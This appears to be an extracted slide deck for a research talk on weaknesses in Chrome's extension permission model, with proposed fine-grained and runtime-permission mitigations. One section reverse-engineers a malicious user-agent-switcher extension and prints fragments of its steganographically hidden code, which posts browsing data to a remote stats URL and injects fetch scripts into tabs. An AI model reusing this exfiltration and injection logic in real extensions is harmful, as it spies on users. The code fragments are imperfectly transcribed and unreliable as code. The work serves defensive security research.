Revisiting the Chrome Extension Permissions Model

Pranav Prakash, Chester Leung
Google Chrome released

2008

2010

Chrome adds support for extensions

2019

Chrome has ~190,000 extensions

2020

Chrome removes 500+ malicious extensions
Chrome Extensions...
Chrome Extensions...

- Change UI
Chrome Extensions...

- Change UI
- Provide additional functionality
Chrome Extensions...

- Change UI
- Provide additional functionality
- Integrate with third party apps
Extension Ecosystem

- ~1.2B installs
Extension Ecosystem

- ~1.2B installs
- 2.6% of installed extensions are paid
Extension Ecosystem

- ~1.2B installs
- 2.6% of installed extensions are paid
- 87% have less than 1,000 installs
Extension Ecosystem

- ~1.2B installs
- 2.6% of installed extensions are paid
- 87% have less than 1,000 installs
- **Only 13** have more than 10 million installs
Extension Ecosystem

- Most big extensions backed by a company
Extension Ecosystem

- Most big extensions backed by a company

[Image of Pinterest logo]
Extension Ecosystem

- Most big extensions backed by a company

---

Pinterest

Grammarly
Extension Ecosystem

- Most big extensions backed by a company
It’s a business!
<table>
<thead>
<tr>
<th>category</th>
<th># of extensions</th>
</tr>
</thead>
<tbody>
<tr>
<td>productivity</td>
<td>39,765</td>
</tr>
<tr>
<td>fun</td>
<td>24,773</td>
</tr>
<tr>
<td>photos</td>
<td>21,742</td>
</tr>
<tr>
<td>web_development</td>
<td>12,252</td>
</tr>
<tr>
<td>communication</td>
<td>11,953</td>
</tr>
<tr>
<td>accessibility</td>
<td>9,716</td>
</tr>
<tr>
<td>search_tools</td>
<td>8,319</td>
</tr>
<tr>
<td>shopping</td>
<td>6,313</td>
</tr>
<tr>
<td>games</td>
<td>4,749</td>
</tr>
<tr>
<td>news</td>
<td>3,308</td>
</tr>
<tr>
<td>education</td>
<td>3,146</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>category</th>
<th>installs</th>
</tr>
</thead>
<tbody>
<tr>
<td>productivity</td>
<td>676,147,676</td>
</tr>
<tr>
<td>communication</td>
<td>111,671,905</td>
</tr>
<tr>
<td>photos</td>
<td>109,103,337</td>
</tr>
<tr>
<td>fun</td>
<td>105,043,823</td>
</tr>
<tr>
<td>web_development</td>
<td>96,030,111</td>
</tr>
<tr>
<td>education</td>
<td>92,387,979</td>
</tr>
<tr>
<td>accessibility</td>
<td>83,818,353</td>
</tr>
<tr>
<td>shopping</td>
<td>82,272,965</td>
</tr>
<tr>
<td>entertainment</td>
<td>62,567,535</td>
</tr>
<tr>
<td>search_tools</td>
<td>56,028,934</td>
</tr>
<tr>
<td>office_applications</td>
<td>43,787,834</td>
</tr>
<tr>
<td>teacher_and_admin_tools</td>
<td>37,722,599</td>
</tr>
<tr>
<td>teacher_tools</td>
<td>37,253,849</td>
</tr>
<tr>
<td>games</td>
<td>31,956,052</td>
</tr>
</tbody>
</table>

PSA: 4.8 Million Affected by Chrome Extension Attacks Targeting Site Owners

This is a public service announcement from the Wordfence team regarding a security issue that has a wide impact. During the past 3 months, eight Chrome browser extensions were compromised and the attacker used them to steal Cloudflare credentials and serve up malicious ads.

This post discusses exactly what happened, how to protect yourself and what the wider implications are of this supply chain attack.
PSA: 4.8 Million Affected by Chrome Extension Attacks Targeting Site Owners

This entry was posted in General Security on August 17, 2017 by Mark Maunder.

This is a public service announcement from the Wordfence team regarding a security issue that has a wide impact. During the past 3 months, eight Chrome browser extensions were compromised and the attacker used them to steal Cloudflare credentials and serve up malicious ads.

This post discusses exactly what happened, how to protect yourself and what the wider implications are of this supply chain attack.
PSA: 4.8 Million Affected by Chrome Extension Attacks Targeting Site Owners

This entry was posted in General Security on August 17, 2017 by Mark Maunder   27 Replies

This is a public service announcement from the Wordfence team regarding an attack that has a wide impact. During the past 3 months, eight Chrome browser extensions have informed us, and the attacker used them to steal Cloudflare credentials and serve up malware.

This post discusses exactly what happened, how to protect yourself from this attack and the implications are of this supply chain attack.
Malicious Chrome Extension Based On 'The Wild Thornberrys' Infects 100,000 Users And Mines For Cryptocurrency

11 May 2018, 9:22 am EDT  By Steven Lerner Tech Times

Chrome users should be careful as to which extensions are downloaded, as in the recent case of a malicious extension that harvested data and mined for digital currencies.

How The Malware Spreads

On Thursday, May 10, cybersecurity company Radware revealed that its machine-learning algorithms recently encountered a zero-day malware that has been active since at least March 2018. More than 100,000 users in over 100 countries received the malware.
Malicious Chrome Extens 'The Wild Thornberrys' In Users And Mines For Crypto

11 May 2018, 9:22 am EDT  By Steven Lerner Tech Times

Chrome users should be careful as to which extensions are present, as there is a malicious extension that harvested data and mined for cryptocurrency.

How The Malware Spreads
On Thursday, May 10, cybersecurity company Radware revealed that algorithms recently encountered a zero-day malware that affected Chrome users in 2018. More than 100,000 users in over 100 countries received the attack.
Nigelify
Nigelify
Nigelify
Nigelify

Link -> YouTube -> Extension

Credentials
Nigelify

Link → YouTube → Extension → Resources

Credentials
Nigelify

• Made $1000 in < 1 week
Nigelify

- Made $1000 in < 1 week
- Affected 100k+ users
Nigelify

- Made $1000 in < 1 week
- Affected 100k+ users
- Prevented users from removing extension
500 Malicious Chrome Extensions Impact Millions of Users

Author:
Lindsey O’Donnell

February 14, 2020 / 3:50 pm

3 minute read
500 Malicious Chrome Extensions Impact Millions of Users

Author:
Lindsey O'Donnell

February 14, 2020 / 3:50 pm

3 minute read

Added users to botnet
500 Malicious Chrome Extensions Impact Millions of Users

Author:
Lindsey O’Donnell
February 14, 2020 / 3:50 pm

3 minute read

Part of malvertising campaign
Analyzing the threat surface of Chrome’s extension APIs
Chrome

- Designed with security in mind
- Isolation, separation of privilege

Chrome Extension Architecture

- Web-page DOM
- Webpage's own scripts (Main World)
- Content script (Isolated World)
- Background Script (of Extension)

runtime.sendMessage

chrome.* APIs
Manifests

"background": {
  "persistent": false,
  "scripts": [
    "js/background.js"
  ]
},
"content_scripts": [
  {
    "js": ["js/content.js"],
    "matches": ["*://*.foo.com"],
    "run_at": "document_start"
  }
],
"permissions": ["bookmarks"]

- Structure of extension explicitly declared
- Permissions enumerated
Weaknesses of Permission Model

- While limited by sandboxing/isolation, malicious developers may not adhere to “principle of least privilege”

An Evaluation of the Google Chrome Extension Security Architecture

Nicholas Carlini, Adrienne Porter Felt, and David Wagner

University of California, Berkeley

nicholas.carlini@berkeley.edu, apf@cs.berkeley.edu, daw@cs.berkeley.edu
Analyzing the Chrome APIs

- Inspect the APIs in each permission group
Analyzing the Chrome APIs

Trends and Lessons from Three Years Fighting Malicious Extensions

Nav Jagpal   Eric Dingle   Jean-Philippe Gravel   Panayiotis Mavrommatis
Niels Provos   Moheeb Abu Rajab   Kurt Thomas

Google
Analyzing the Chrome APIs

Trends and Lessons from Three Years Fighting Malicious Extensions

Nav Jagpal    Eric Dingle    Jean-Philippe Gravel    Panayiotis Mavrommatis
Niels Provos    Moheeb Abu Rajab    Kurt Thomas

Google

● Primary objectives of malicious extension
  ○ Data exfiltration
  ○ Website tampering
  ○ Phishing
Analyzing the Chrome APIs

● CIA Triad: Confidentiality, Integrity, Availability
Analyzing the Chrome APIs

- CIA Triad: Confidentiality, Integrity, Availability

- Classify aligned to triad
  - Info disclosure
  - Phishing
  - State manipulation
  - Obfuscation
### Analysis

<table>
<thead>
<tr>
<th>Permission</th>
<th>Methods/Events</th>
<th>Info Disclosure</th>
<th>Phishing</th>
<th>Manipulation</th>
<th>Obfuscation</th>
</tr>
</thead>
<tbody>
<tr>
<td>alarms</td>
<td>create, get, clear</td>
<td></td>
<td>x</td>
<td></td>
<td></td>
</tr>
<tr>
<td>bookmarks</td>
<td>get, search, update, create, move, remove onCreated, onChanged</td>
<td>x</td>
<td>x</td>
<td></td>
<td></td>
</tr>
<tr>
<td>browserAction</td>
<td>setTitle, setIcon, setPopup</td>
<td>x</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>setBadgeText onClicked</td>
<td>x</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>browsingData</td>
<td>remove (Cookies, History, Passwords)</td>
<td>x</td>
<td>x</td>
<td></td>
<td></td>
</tr>
<tr>
<td>commands</td>
<td>getAll onCommand</td>
<td></td>
<td>x</td>
<td></td>
<td></td>
</tr>
<tr>
<td>contentSetting</td>
<td>ContentSetting.get</td>
<td>x</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>ContentSetting.set</td>
<td>x</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>contextMenus</td>
<td>create, update, remove</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>cookies</td>
<td>get set, remove onChanged</td>
<td>x</td>
<td>x</td>
<td></td>
<td></td>
</tr>
<tr>
<td>debugger</td>
<td>attach, sendCommand</td>
<td>x</td>
<td>x</td>
<td></td>
<td></td>
</tr>
<tr>
<td>declarativeContent</td>
<td>PageStateMatcher</td>
<td></td>
<td>x</td>
<td></td>
<td></td>
</tr>
<tr>
<td>desktopCapture</td>
<td>chooseDesktopMedia</td>
<td>x</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>downloads</td>
<td>download, open, show search</td>
<td>x</td>
<td>x</td>
<td>x</td>
<td></td>
</tr>
<tr>
<td></td>
<td>erase onCreated, onErased</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>gcm</td>
<td>register send</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>history</td>
<td>search, getVisits addUrl, deleteUrl onVisited, onVisitRemoved</td>
<td>x</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>identity</td>
<td>getAuthToken launchWebAuthFlow</td>
<td>x</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>idle</td>
<td>queryState onStateChanged</td>
<td></td>
<td>x</td>
<td></td>
<td></td>
</tr>
<tr>
<td>management</td>
<td>getAll uninstall onInstalled, onDisabled</td>
<td></td>
<td>x</td>
<td></td>
<td></td>
</tr>
<tr>
<td>notifications</td>
<td>create, update, clear</td>
<td>x</td>
<td>x</td>
<td></td>
<td></td>
</tr>
<tr>
<td>omnibox</td>
<td>setDefaultSuggestion onInputEntered</td>
<td></td>
<td>x</td>
<td></td>
<td>x</td>
</tr>
<tr>
<td>pageCapture</td>
<td>saveAsMHTML</td>
<td>x</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>power</td>
<td>requestKeepAwake</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>printerProvider</td>
<td>onPrintRequested</td>
<td>x</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>proxy</td>
<td>settings.get</td>
<td>x</td>
<td>x</td>
<td></td>
<td></td>
</tr>
<tr>
<td>runtime</td>
<td>sendMessage</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>sessions</td>
<td>getRecentlyClosed onChanged</td>
<td>x</td>
<td>x</td>
<td></td>
<td></td>
</tr>
<tr>
<td>system, cpu</td>
<td>getInfo</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>memory storage</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>tabCapture</td>
<td>capture</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>tabs</td>
<td>get, query, captureVisibleTab*</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>executeScript*, insertCSS* update, remove, create goBack onUpdated, onActiveChanged</td>
<td>x</td>
<td>x</td>
<td></td>
<td></td>
</tr>
<tr>
<td>topSites</td>
<td>get</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>tts</td>
<td>speak, pause</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>webNavigation</td>
<td>getAllFrames onDOMContentLoaded</td>
<td>x</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>webRequest</td>
<td>onBefore (Request, SendHeaders)</td>
<td>x</td>
<td>x</td>
<td></td>
<td></td>
</tr>
<tr>
<td>windows</td>
<td>getAll create, update onCreated</td>
<td></td>
<td>x</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
Analysis

- Majority of APIs can be abused
- Different methods within same permission have different threat profiles
Reverse-engineering a malicious extension

Chrome Extensions Archive
github.com/mdamien/chrome-extensions-archive

User-Agent Switcher for Google Chrome
456,960
Version History

1.9.3 - 126.4 Ko - Wed Jun 6 20:42:07 2018  view source
1.9.0 - 137.3 Ko - Thu Nov 23 07:52:15 2017  view source
1.8.26 - 349.9 Ko - Tue Aug 15 08:47:18 2017  view source
1.8.23 - 337.0 Ko - Mon Apr 10 09:12:56 2017  view source
1.8.22 - 336.0 Ko - Sat Apr 8 02:11:20 2017  view source
1.8.21 - 124.4 Ko - Sat Feb 11 20:09:49 2017  view source
1.8.16 - 126.3 Ko - Tue Jun 7 01:56:36 2016  view source
1.8.14 - 128.3 Ko - Sat May 14 00:12:45 2016  view source
1.8.13 - 125.9 Ko - Sat May 14 03:01:45 2016  view source
1.8.12 - 125.9 Ko - Sat May 14 03:01:45 2016  view source
Malicious buyout

- Rather than phish developer, outright buy an extension
Malicious buyout

- Rather than phish developer, outright buy an extension

https://portswigger.net/daily-swig/when-browser-extensions-go-rogue
Why so many users?

- Possibly ranked high in google search?
- Are all installs legitimate?
Permissions

Nothing too abnormal...

```
"permissions": [
  "webRequest",
  "webRequestBlocking",
  "tabs",
  "http://*/,
  "https://*/",
  "contextMenus"
],
```
Suspicious Obfuscation

```javascript
}, t.prototype.aq = function(t, r) {
    r = r || {};
    var e = this.ET,
        n = r.width || t.width,
        i = r.height || t.height,
        o = r.mp || e.mp,
        h = r.At || e.At;
    return o * n * i / h >> 0
}, t.prototype.Vh = function(t, e) {
    if ("" === '../promo.jpg') return "";
    void 0 === t && (t = '../promo.jpg'), t.length && (t = r.Wk(t)), e = e || {};
    var n = this.ET,
        i = e.mp || n.mp,
        o = e.Tv || n.Tv,
        h = e.At || n.At,
        a = r.Yb(Math.pow(2, i)),
        f = (e.WC || n.WC, e.TY || n.TY),
        u = document.createElement("canvas"),
        p = u.getContext("2d");
    if (u.style.display = "none", u.width = e.width || t.width, u.height = e.width || t.he
    e.height && e.width ? p.drawImage(t, 0, 0, e.width, e.height) : p.drawImage(t, 0, 0);
    var c = p.getImageData(0, 0, u.width, u.height),
```
A seemingly benign jpeg
Wait that’s not a jpeg...

> file promo.jpg

PNG image data, 1280 x 800, 8-bit/color RGBA, non-interlaced
What’s in the alpha channel?
Steganographic Obfuscation

```javascript
if (!last_time || should_post) {
    let CCurl = `{new URL(c['WL']['url'])[origin]}/stats`;
    n(`${CCurl}?hash=jwttmv6kavksy5czdf4leg66r&eventCategory=${cat}&eventAction=${act}&eventLabel=${lab}`, 'POST')['then']
        let CCurl = {};
        CCurl[identifier] = new Date()['getTime'](), localStorage['set'](CCurl);

    chrome['runtime']['onMessage']['addListener'](callback), chrome['tabs']['executeScript'](tabid, 'code': `(function() {var url = replaceableurl; var xhr = new XMLHttpRequest(); xhr.onreadystatechange = function() {if (xhr.readyState == 4 && xhr.status == 200) {callback(xhr.responseText);}}; xhr.open('GET', url); xhr.send(null);})();`);```
```
Takeaways?

- Limitations of static/dynamic analysis
Takeaways?

- Limitations of static/dynamic analysis
- Permissions system has unnecessarily broad scope
Takeaways?

- Limitations of static/dynamic analysis
- Permissions system has unnecessarily broad scope

```javascript
"permissions": [
    "webRequest",
    "webRequestBlocking",
    "tabs",
    chrome['runtime']['onMessage']['addListener'](callback),
    chrome['tabs']['executeScript']({tabid: 0},
    'code': `function() { var url = replaceableurl; var xhr = new XMLHttpRequest(); xhr.onreadystatechange = function() { if (xhr.readyState == 4) {... } }; xhr.open("GET", url); xhr.send(); }`);
]}
```
Mitigations to limit power of malicious extensions
Mitigation: Fine-grained permissions

- Scope on method, not permission category
- Should not be able to update tabs if only need to refresh them
Existing permissions

"permissions": [
  "tabs",
  "*://*.google.com/"
],

Current Permissions for

It can:
Read and change your data on all google.com sites
Read your browsing history

Close
Existing permissions

"permissions": [
    "tabs",
    "*:/*\.google\.com/"
],
Wildcard Host

Nothing too abnormal...?

```
"permissions": [
  "webRequest",
  "webRequestBlocking",
  "tabs",
  "http://*/",
  "https://*/",
  "contextMenus"
],
```
Scope network access

- Tie network host permission to parent permission

```
"permissions": [  
  "tabs",  
  "*://*.google.com/"
],

"permissions": [  
  "tabs.executeScript" : {  
    "*://*.google.com/"
  }  
],
```
Existing permissions

"permissions": [
    "tabs",
    "*:/*\.google\.com/"
],

Current Permissions for

It can:
Read and change your data on all google.com sites
Read your browsing history
Update existing tabs? Spawn new tabs?

Close
Revised permissions

"permissions": [
  "tabs",
  "tabs.executeScript": {
    "*://*.google.com/"
  }
],

It can:
Read and change your data on all google.com sites
Read your browsing history
Backwards Compatibility

- Static analysis to transparently upgrade manifests
- Prevents obfuscated API calls
Mitigation: Runtime Permissions
Mitigation: Runtime Permissions

- Permission dialog every time an extension wants to run
Today: Chrome Optional Permissions Feature
Today: Chrome Optional Permissions Feature

- Requested additional permissions during runtime
Today: Chrome Optional Permissions Feature

- Request additional permissions during runtime
- Better security and information to users
Today: Chrome Optional Permissions Feature

- Requested additional permissions during runtime
- Better security and information to users

Description:
Use the `chrome.permissions` API to request **declared optional permissions** at run time rather than install time, so users understand why the permissions are needed and grant only those that are necessary.
Runtime Permission Dialog
Runtime Permission Dialog

Bookmarks Navigator requests
Runtime Permission Dialog

Bookmarks Navigator requests

Bookmarks access
Bookmarks Navigator requests

Bookmarks access

Bookmarks enable *easy access to your favorite sites*
Runtime Permission Dialog

Bookmarks Navigator requests

Bookmarks access

Bookmarks enable easy access to your favorite sites
We’ll ask for permission every time you open a new tab
Bookmarks Navigator requests

Bookmarks access

Bookmarks enable easy access to your favorite sites
We’ll ask for permission every time you open a new tab

[Deny] [Grant]
Impact

- On developer
- On user
Impact on Developer

```javascript
chrome.storage.sync.set({color: '#3aa757'},
    function() {
      console.log('The color is green. ');
    });
```
Under the Hood

```javascript
chrome.storage.sync.set(color, callback) {
  // Generate dialog to request permissions
  // Existing code
}
```
Permission Dialog Context

- Two ways to call a chrome.* API
Rule-Based Triggers

```javascript
chrome.webNavigation.onCompleted.addListener(function() {
    alert("This is my favorite website!");
}, {url: [{'urlMatches': 'https://www.google.com/'}]});
```
Logic Triggers

```javascript
chrome.runtime.onMessage.addListener(function (message, callback) {
    if (message.data == "setAlarm") {
        chrome.alarms.create({delayInMinutes: 5})
    } else if (message.data == "runLogic") {
        chrome.tabs.executeScript({file: 'logic.js '})
    } else if (message.data == "changeColor") {
        chrome.tabs.executeScript(
            {code: 'document.body.style.
             backgroundColor="orange"'}));
    }
});
```
Config Example

```javascript
{
    "Logic_triggers": {
        "message.js:L32": "You’ve clicked the set timer button in our extension on your navigation bar",
        // More triggers
    }
}
```
Impact on User

- Usability / security tradeoff
Usability

- Windows Vista UAC disaster
Usability

- Windows Vista UAC disaster
Usability

● Windows Vista UAC disaster
● Users’ **skimming** / not reading dialogs
You’ve Been Warned: An Empirical Study of the Effectiveness of Web Browser Phishing Warnings

Serge Egelman  
Carnegie Mellon University  
egelman@cs.cmu.edu

Lorrie Faith Cranor  
Carnegie Mellon University  
lorrie@cs.cmu.edu

Jason Hong  
Carnegie Mellon University  
jasonh@cs.cmu.edu
Stopping Spyware at the Gate: A User Study of Privacy, Notice and Spyware

Nathaniel Good¹, Rachna Dhamija¹, Jens Grossklags¹, David Thaw¹, Steven Aronowitz², Deirdre Mulligan², Joseph Konstan³

{ngood,rachna,jensg,dbthaw}@sims.berkeley.edu
dmulligan@law.berkeley.edu, stevenaronowitz@hotmail.com, konstan@cs.umn.edu

¹School of Information Management and Systems, UC Berkeley
102 South Hall
Berkeley, CA 94720

²Samuelson Law, Technology & Public Policy Clinic
Boalt Hall (School of Law)
UC Berkeley
Berkeley, CA 94720

³Department of Computer Science
University of Minnesota
4-192 EE/CS Building
Minneapolis, MN 55455
Usability Solutions

- **Standardized** dialog interface that conveys a sense of danger
Usability Solutions

- Standardized dialog interface that conveys a sense of danger
- Conditioned-safe ceremony
Evaluation: Mitigation Effectiveness

- User Agent Switcher: exfiltrates visited URLs and redirects users
UA Switcher: Still Dangerous?

- Typical user will not switch user-agent often
UA Switcher: Still Dangerous?

- Typical user will not switch user-agent often
- Extension may attempt to run at unexpected times
Future Work

- Prototype
Future Work

- Prototype
- User study
Thank you!